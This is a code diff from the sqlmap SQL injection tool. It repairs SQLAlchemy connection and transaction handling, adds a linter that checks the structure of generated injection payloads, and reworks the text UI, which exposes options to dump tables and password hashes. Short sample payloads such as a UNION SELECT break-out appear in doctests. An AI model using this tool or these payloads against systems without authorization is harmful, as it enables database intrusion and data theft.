a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -72,7 +72,10 @@ def connect(self): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) _ = self.address.split("//", 1) - self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) + # Note: SQLAlchemy's absolute-SQLite form is 'sqlite:///' + abspath (the abspath's own + # leading '/' completes the triple slash on POSIX). A 4th slash yields db '//path' (only + # tolerated on Linux by accident) and, on Windows, '/C:\...' which fails to open. + self.address = "%s///%s" % (_[0], os.path.abspath(self.db)) if self.dialect == "sqlite": engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) @@ -82,7 +85,7 @@ def connect(self): engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() - except (TypeError, ValueError): + except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): try: import pymssql @@ -90,10 +93,14 @@ def connect(self): raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass + # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") else: - pass + # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector + # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) except SqlmapFilePathException: raise except Exception as ex: @@ -113,7 +120,7 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False # Reference: https://stackoverflow.com/a/69491015 @@ -122,9 +129,24 @@ def execute(self, query): try: self.cursor = self.connector.execute(query) + # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - + # would be silently lost). SELECT goes through select() with commit=False so the result set is + # fetched BEFORE committing: on some drivers (e.g. pymssql) commit() discards the open cursor, which + # otherwise made every MSSQL '-d' query silently return empty (banner/is-dba/dump all blank). + if commit and hasattr(self.connector, "commit"): + self.connector.commit() retVal = True - except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: + except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError, _sqlalchemy.exc.DataError, _sqlalchemy.exc.IntegrityError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + # Roll back the failed statement's transaction so it does not poison every following query with + # 'InFailedSqlTransaction' (SQLAlchemy 2.0+ keeps the transaction open after an error). Without this + # a single legitimately-failing probe - e.g. AURORA_VERSION() on vanilla PostgreSQL during + # fingerprinting - made all later queries silently return wrong values (e.g. '--is-dba' read False) + if hasattr(self.connector, "rollback"): + try: + self.connector.rollback() + except Exception: + pass except _sqlalchemy.exc.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) @@ -133,7 +155,14 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + # Fetch BEFORE committing (commit=False): committing can discard the open result cursor on some drivers + # (e.g. pymssql), which silently emptied every MSSQL '-d' result. No DML is persisted by a SELECT anyway. + if self.execute(query, commit=False): retVal = self.fetchall() + if hasattr(self.connector, "commit"): + try: + self.connector.commit() + except Exception: + pass return retVal diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 00000000000..f38ef28584c --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,460 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = "unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>(?:[A-Za-z_@$]|[^\x00-\x7f])(?:[A-Za-z0-9_@$]|[^\x00-\x7f])*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT ") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +# clause-introducing keywords that signal a dangling list item when they sit +# right after a comma ("SELECT a,b, FROM t"). GROUP/ORDER/LIMIT/OFFSET are +# excluded on purpose - they double as very common column names, so a bare +# "a,limit,b" would false-positive. +_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) + +# single-occurrence clause keywords (at most one per SELECT scope) with no +# identifier-collision risk - unlike GROUP/ORDER, which double as column names. +# a repeat at the same paren-depth is the 'WHERE x WHERE y' structural bug (e.g. +# a schema filter appended onto a base query that already carries a WHERE). +_SINGLE_CLAUSE_KEYWORDS = frozenset(("WHERE", "HAVING")) + +# set operators that begin a fresh SELECT, resetting single-occurrence clauses at +# the current scope ('a WHERE x UNION b WHERE y' is legal; two WHEREs are not). +_SET_OPERATORS = frozenset(("UNION", "EXCEPT", "INTERSECT", "MINUS")) + +# sqlmap's own templating markers. If any survives into a *final* outbound payload +# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always +# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside +# a string, or where the lexer would otherwise read it as an MSSQL [identifier]). +_LEFTOVER_MARKER = re.compile( + r"\[(?:RANDNUM\d*|RANDSTR\d*|INFERENCE|SLEEPTIME|DELAYED|DELIMITER_START|DELIMITER_STOP" + r"|ORIGVALUE|ORIGINAL|GENERIC_SQL_COMMENT|QUERY|UNION|CHAR|COLSTART|COLSTOP|DB" + r"|SINGLE_QUOTE|DOUBLE_QUOTE|AT_REPLACE|SPACE_REPLACE|DOLLAR_REPLACE|HASH_REPLACE)\]") + +# SQL words whose near-miss spelling in a structural position is almost always a +# broken payload, not a legitimate identifier (deliberately smaller than the full +# keyword list): catches payload-builder typos like UNI1ON/SEL2ECT/ORD2ER without +# flagging arbitrary application identifiers. +# only length>=5 structural keywords: short ones (ON/NOT/IN/IS/BY/OR/AND/ALL/ +# FROM/LIKE/NULL/...) are too easily near-missed by real column names (note->NOT, +# ono->ON), which the real-identifier stress test proved would false-positive. +_NEAR_KEYWORD_TARGETS = frozenset(( + "SELECT", "UNION", "DISTINCT", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "WHERE", "INNER", "RIGHT", "OUTER", "CROSS", "REGEXP", "RLIKE")) + +# single-char substitutions seen in accidental mutation/test edits +_DIGIT_KEYWORD_ALIASES = {"0": "O", "1": "I", "2": "E", "3": "E", "4": "A", "5": "S", "7": "T", "8": "B"} + +_CLAUSE_STARTERS = frozenset(( + "SELECT", "UNION", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "INTO", "JOIN", "ON", "AND", "OR")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _word(token): + if token is not None and token.type in (T_IDENT, T_KEYWORD): + return token.value.upper() + return None + + +def _atClauseBoundary(prev): + return prev is None or prev.type in (T_LPAREN, T_RPAREN, T_SEMI, T_COMMA) or \ + (prev.type == T_OP and prev.value not in (".",)) or \ + (prev.type == T_KEYWORD and prev.value.upper() in _CLAUSE_STARTERS) + + +def _editWithin1(a, b): + """Damerau-Levenshtein distance <= 1 (one insertion, deletion, substitution + or adjacent transposition). Catches every single-char keyword typo class.""" + la, lb = len(a), len(b) + if a == b or abs(la - lb) > 1: + return a == b + if la == lb: + diff = [i for i in range(la) if a[i] != b[i]] + if len(diff) == 1: # substitution + return True + if len(diff) == 2 and diff[1] == diff[0] + 1 and \ + a[diff[0]] == b[diff[1]] and a[diff[1]] == b[diff[0]]: # transposition + return True + return False + shorter, longer = (a, b) if la < lb else (b, a) # deletion/insertion + for i in range(len(longer)): + if shorter == longer[:i] + longer[i + 1:]: + return True + return False + + +def _nearKeywordCandidates(value): + """ + Structural SQL keywords one single-char typo away from an identifier + (Damerau distance 1; NOT generic fuzzy matching over the whole keyword file). + + >>> sorted(_nearKeywordCandidates("UNI1ON")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("SEL2ECT")) + ['SELECT'] + >>> sorted(_nearKeywordCandidates("UrNION")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNIN")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNOIN")) + ['UNION'] + """ + upper = value.upper() + if upper in _NEAR_KEYWORD_TARGETS or len(upper) < 4: + return set() + return set(target for target in _NEAR_KEYWORD_TARGETS if _editWithin1(upper, target)) + + +def _nearKeywordIsStructural(sig, index, keyword): + """True when a near-keyword identifier sits where that keyword is expected.""" + prev = sig[index - 1] if index > 0 else None + nxt = sig[index + 1] if index + 1 < len(sig) else None + prevWord = _word(prev) + nextWord = _word(nxt) + + if keyword == "UNION": + return nextWord in ("ALL", "DISTINCT", "SELECT") and \ + prevWord not in ("SELECT", "FROM", "WHERE", "GROUP", "ORDER", "BY", "HAVING", "LIMIT", "OFFSET", "JOIN", "ON", "AS") + + if keyword == "SELECT": + return prev is None or prev.type in (T_LPAREN, T_SEMI) or prevWord in ("UNION", "ALL", "DISTINCT", "EXCEPT", "INTERSECT") + + if keyword in ("ORDER", "GROUP"): + return nextWord == "BY" + + if keyword == "BY": + return prevWord in ("ORDER", "GROUP") + + if keyword in ("AND", "OR", "LIKE", "REGEXP", "RLIKE", "IN", "IS"): + return prev is not None and nxt is not None and prev.type in _OPERANDS and nxt.type in _OPERANDS.union((T_LPAREN,)) + + if keyword in ("FROM", "WHERE", "HAVING", "LIMIT", "OFFSET", "INTO", "JOIN", "ON"): + return _atClauseBoundary(prev) or prevWord in ("SELECT", "UPDATE", "DELETE", "INSERT", "FROM", "WHERE", "HAVING") + + if keyword in ("ALL", "DISTINCT"): + return prevWord in ("UNION", "SELECT") + + if keyword in ("NULL", "NOT"): + return _atClauseBoundary(prev) + + return False + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + >>> bool(checkSanity("SELECT a FROM t WHERE x=1 WHERE y=2")) + True + >>> checkSanity("SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2") + [] + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + + # -- residual templating markers (upstream substitution failed) -------- + for match in _LEFTOVER_MARKER.finditer(sql): + issues.append("leftover marker '%s' at offset %d" % (match.group(0), match.start())) + + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + unterminated = False + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + unterminated = True + break + + # unclosed '(' (a dropped ')'): well-formed payloads NEVER end paren-positive + # (leading break-out ')' only ever makes depth negative), so this is 0-FP. + if not unterminated and depth > 0: + issues.append("unbalanced parentheses (%d unclosed '(')" % depth) + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- keyword near-miss in a structural position: UNI1ON/SEL2ECT/ORD2ER + if cur.type == T_IDENT: + for keyword in sorted(_nearKeywordCandidates(cur.value)): + if _nearKeywordIsStructural(sig, i, keyword): + issues.append("keyword typo '%s' (near '%s') at offset %d" % (cur.value, keyword, cur.start)) + break + + # -- UNION must continue with SELECT/ALL/DISTINCT/'(' (catches a glued or + # corrupted continuation like 'UNION ALLSELECT' -> UNION ) + if cur.type == T_KEYWORD and cur.value.upper() == "UNION" and nxt is not None: + if not (nxt.type == T_LPAREN or (nxt.type == T_KEYWORD and nxt.value.upper() in ("SELECT", "ALL", "DISTINCT"))): + issues.append("UNION not followed by SELECT/ALL/DISTINCT at offset %d" % cur.start) + + # -- digit glued to a keyword: '1UNION', '5108AND' (a digit-started + # identifier like '4images' is legitimate and must NOT trip this) + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type == T_KEYWORD: + issues.append("digit glued to a keyword ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif prev.type == T_KEYWORD and prev.value.upper() == "SELECT" and cur.type == T_COMMA: + issues.append("comma right after SELECT at offset %d" % cur.start) + elif prev.type == T_COMMA and cur.type == T_KEYWORD and cur.value.upper() in _CLAUSE_KEYWORDS \ + and nxt is not None and nxt.type not in (T_COMMA, T_RPAREN): + # a clause keyword right after a comma AND followed by real content is a + # dangling list item ("a,b, FROM t"); if it is a bare list item itself + # ("a,group,b" - a column named 'group') the next token is a comma/paren/end + issues.append("dangling comma before '%s' at offset %d" % (cur.value, cur.start)) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + # -- duplicated single-occurrence clause at one scope ('WHERE x WHERE y') -- + # WHERE/HAVING may appear at most once per SELECT scope; a second one at the + # same paren-depth (no set operator or ';' resetting the SELECT in between) + # is a structural impossibility no surrounding query can undo - subquery + # clauses live at a deeper depth and reset on '(' / ')'. + scopeSeen = [set()] + for token in sig: + if token.type == T_LPAREN: + scopeSeen.append(set()) + elif token.type == T_RPAREN: + if len(scopeSeen) > 1: + scopeSeen.pop() + elif token.type == T_SEMI: + scopeSeen = [set()] + elif token.type == T_KEYWORD: + word = token.value.upper() + if word in _SINGLE_CLAUSE_KEYWORDS: + if word in scopeSeen[-1]: + issues.append("duplicate '%s' clause at offset %d" % (word, token.start)) + else: + scopeSeen[-1].add(word) + elif word in _SET_OPERATORS: + scopeSeen[-1].clear() + + return issues diff --git a/lib/utils/tui.py b/lib/utils/tui.py index d785e5f7673..3f5d6f43ead 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -25,6 +25,75 @@ from lib.core.settings import IS_WIN from thirdparty.six.moves import configparser as _configparser +# Options surfaced on the curated "Quick start" tab (by destination), in display order +QUICK_START_DESTS = ( + "url", "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short tab labels so the (sometimes verbose) option-group titles fit the top bar +TAB_ALIASES = { + "Optimization": "Optimize", + "Enumeration": "Enumerate", + "Brute force": "Brute", + "User-defined function injection": "UDF", + "File system access": "Files", + "Operating system access": "OS", + "Windows registry access": "Registry", + "Miscellaneous": "Misc", +} + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optTakesValue(option): + if hasattr(option, "takes_value"): + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + class NcursesUI: def __init__(self, stdscr, parser): self.stdscr = stdscr @@ -38,61 +107,110 @@ def __init__(self, stdscr, parser): self.process = None # Initialize colors - curses.start_color() - curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header - curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab - curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab - curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field - curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text - curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important - curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label + self._init_colors() # Setup curses - curses.curs_set(1) + curses.curs_set(0) self.stdscr.keypad(1) # Parse option groups self._parse_options() + def _init_colors(self): + """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback""" + curses.start_color() + try: + curses.use_default_colors() + default_bg = -1 + except curses.error: + default_bg = curses.COLOR_BLACK + + if curses.COLORS >= 256: + accent, accent_fg, sel_bg = 75, 234, 237 + text, muted, green, red = 252, 245, 114, 210 + curses.init_pair(1, accent_fg, accent) # header / footer bar + curses.init_pair(2, accent_fg, accent) # active tab + curses.init_pair(3, muted, 236) # inactive tab + curses.init_pair(4, accent, sel_bg) # selected field row + curses.init_pair(5, muted, default_bg) # help / description + curses.init_pair(6, red, default_bg) # error / important + curses.init_pair(7, text, default_bg) # label / value + curses.init_pair(8, green, default_bg) # value that has been set + curses.init_pair(9, muted, sel_bg) # help text on the highlighted row + else: + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_BLUE) + curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(5, curses.COLOR_GREEN, default_bg) + curses.init_pair(6, curses.COLOR_RED, default_bg) + curses.init_pair(7, curses.COLOR_WHITE, default_bg) + curses.init_pair(8, curses.COLOR_GREEN, default_bg) + curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN) + def _parse_options(self): """Parse command line options into tabs and fields""" - for group in self.parser.option_groups: + self.all_options = [] + for group in _parserGroups(self.parser): + title = _groupTitle(group) tab_data = { - 'title': group.title, - 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", + 'title': title, + 'description': _groupDescription(group), 'options': [] } - for option in group.option_list: + for option in _groupOptions(group): + dest = _optDest(option) + if not dest: + continue field_data = { - 'dest': option.dest, + 'dest': dest, 'label': self._format_option_strings(option), - 'help': option.help if option.help else "", - 'type': option.type if hasattr(option, 'type') and option.type else 'bool', + 'help': _optHelp(option), + 'type': _optValueType(option) if _optTakesValue(option) else 'bool', 'value': '', - 'default': defaults.get(option.dest) if defaults.get(option.dest) else None + 'default': defaults.get(dest) if defaults.get(dest) else None } tab_data['options'].append(field_data) - self.fields[(group.title, option.dest)] = field_data + self.fields[(title, dest)] = field_data + self.all_options.append(field_data) self.tabs.append(tab_data) + # curated "Quick start" tab; references the same field objects as the group tabs, + # so a value edited in either place stays in sync + seen = {} + for tab in self.tabs: + for option in tab['options']: + seen.setdefault(option['dest'], option) + quick = { + 'title': 'Quick start', + 'description': "The options people reach for most. Fill these in, then press F2 to run.", + 'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen], + } + if quick['options']: + self.tabs.insert(0, quick) + def _format_option_strings(self, option): """Format option strings for display""" - parts = [] - if hasattr(option, '_short_opts') and option._short_opts: - parts.extend(option._short_opts) - if hasattr(option, '_long_opts') and option._long_opts: - parts.extend(option._long_opts) - return ', '.join(parts) + return ', '.join(_optStrings(option)) + + def _tab_title(self, tab): + return TAB_ALIASES.get(tab['title'], tab['title']) def _draw_header(self): """Draw the header bar""" height, width = self.stdscr.getmaxyx() - header = " sqlmap - ncurses TUI " self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) - self.stdscr.addstr(0, 0, header.center(width)) - self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, " " * width) + self.stdscr.addstr(0, 1, "sqlmap") + self.stdscr.attroff(curses.A_BOLD) + right = "F2 Run - F10 Quit " + try: + self.stdscr.addstr(0, max(8, width - len(right)), right) + except: + pass + self.stdscr.attroff(curses.color_pair(1)) def _get_tab_bar_height(self): """Calculate how many rows the tab bar uses""" @@ -101,16 +219,12 @@ def _get_tab_bar_height(self): x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break - x += len(tab_text) + 1 return y @@ -122,14 +236,11 @@ def _draw_tabs(self): x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break if i == self.current_tab: @@ -149,14 +260,45 @@ def _draw_tabs(self): x += len(tab_text) + 1 + def _build_command(self): + """Assemble the equivalent sqlmap command line from the current field values""" + parts = ["sqlmap.py"] + for opt in self.all_options: + flag = opt['label'].split(',')[0].strip() if opt['label'] else "" + if not flag: + continue + value = opt['value'] + if opt['type'] == 'bool': + if value: + parts.append(flag) + elif value not in (None, "") and str(value) != str(opt.get('default') or ""): + text = str(value) + if ' ' in text or '"' in text: + text = '"%s"' % text.replace('"', '\\"') + parts.append("%s %s" % (flag, text)) + return " ".join(parts) + + def _draw_command(self): + """Live preview of the command being built, just above the footer""" + height, width = self.stdscr.getmaxyx() + cmd = "$ " + self._build_command() + if len(cmd) > width - 2: + cmd = cmd[:width - 5] + "..." + try: + self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD) + self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2]) + self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD) + except curses.error: + pass + def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() - footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " + footer = " Tab/<-/-> Section Up/Down Field Enter/Space Edit F2 Run F3 Export F4 Import F10 Quit " try: self.stdscr.attron(curses.color_pair(1)) - self.stdscr.addstr(height - 1, 0, footer.ljust(width)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1]) self.stdscr.attroff(curses.color_pair(1)) except: pass @@ -192,61 +334,68 @@ def _draw_current_tab(self): pass y += 1 - # Draw options + # Draw options (leave height-2 for the command preview, height-1 for the footer) visible_start = self.scroll_offset - visible_end = visible_start + (height - y - 2) + visible_end = visible_start + (height - y - 3) for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): - if y >= height - 2: + if y >= height - 3: break is_selected = (i == self.current_field) - # Draw label + # full-width highlight bar for the selected row + if is_selected: + try: + self.stdscr.attron(curses.color_pair(4)) + self.stdscr.addstr(y, 0, " " * (width - 1)) + 